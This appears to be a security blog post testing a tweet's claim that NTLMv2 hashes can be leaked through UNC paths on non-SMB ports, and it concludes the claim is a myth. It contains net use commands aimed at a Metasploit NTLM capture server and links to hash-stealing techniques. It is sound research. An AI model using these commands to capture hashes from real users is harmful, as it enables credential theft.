While browsing Twitter recently I came upon a tweet that I found to be very interesting:

I had been well aware of using UNC paths to leak NLTMv2 handshakes with SMB, but I had never heard of being able to do this on ports other than the default SMB port, TCP 445. I won’t go into this type of attack in detail, but it is widely covered in other blogs, and I’ll link to some here.

http://carnal0wnage.attackresearch.com/2009/04/using-metasploit-smb-sniffer-module.html

https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/

https://www.securify.nl/blog/SFY20180501/living-off-the-land_-stealing-netntlm-hashes.html

https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/

What made this tweet unique is that it said you could perform the SMB handshake over an arbitrary port, which could bypass the common firewall configuration to block SMB (TCP 445) outbound.

It felt like it was too good to be true, and it was.

When a UNC path is navigated to, the protocol used depends on your provider order. The default Windows configuration will attempt SMB, and then if unavailable, will then attempt WebDAV.

Here is the result of running:

net use \\173.xxx.xxx.xxx\sdfsdfsdf

What we see is that my computer first tries to connect over port 445.  It then tries to connect over port 139.  After being unable to, it eventually attempts WebDAV over port 80.

The first thing I wanted to see is, what happens if I specify a port in the UNC path?  Will it try SMB first over that port?

As a control, I first tried net use without a port specified.

net use \\173.xxx.xxx.xxx\smbtest

It attempted to connect over SMB. I then tried to see what would happen if I did the same thing but explicitly specified port 445, the SMB port.

net use \\173.xxx.xxx.xxx@445\dfsdf

What happened was that when a port is specified with the @ symbol, it will always attempt WebDAV via HTTP, regardless of port.  It will not attempt to connect via the SMB protocol. I also found this behavior when specifying the SSL/TLS default port, 443.  It will try WebDAV over plaintext HTTP regardless.  To make use of SSL, you must add an @SSL in the UNC path.

net use \\173.xxx.xxx.xxx@SSL@443\ghjk

So now we know that specifying a port will use WebDAV over HTTP, not SMB.  The question remains however, can we still leak NTLMv2 hashes?

I decided to test this using Metasploit’s auxiliary/server/capture/http_ntlm module. The http_ntlm capture module attempts to quietly catch NTLM/LM Challenge hashes over HTTP.

I initiated a WebDAV request via net use:

net use \\192.xxx.xxx.xxx@80\metasploit

And this was the result:

Basically what happened here was this:

1. The Windows system sends out an HTTP request using the PROPFIND method.  This is used to retrieve properties.  It is basically an attempt to get a directory listing in this case.
2. The Server responds with an HTTP 401 Unauthorized.  It also returns the HTTP WWW-Authenticate header with a value of NTLM.
3. The Windows system attempts the same thing, again without any Authorization header.
4. This repeats multiple times.  Eventually the Windows system prompts to enter a username and password.
5. If the Windows user interactively enters a username and password, it will then attempt NTLM auth by sending an NTLM hash in the HTTP Authorization header.

Another way to get the NLTM hash to send is by specifying a username and password during the initial request:

net use \\192.xxx.xxx.xxx@80\metasploit /user:test test

This will cause Metasploit to capture the NTHASH.  This provided little utility however, as this did not happen automatically and could only happen if the Windows user manually provides their valid username and password or supplies it interactively.

It is true that tools like Responder can capture NTLM hashes via the web, however this is only for Internet Explorer and only on trusted networks, thus it does not apply in this case.

At this point I consider this to be “Myth Busted” and a good reminder not to believe everything you read on the internet.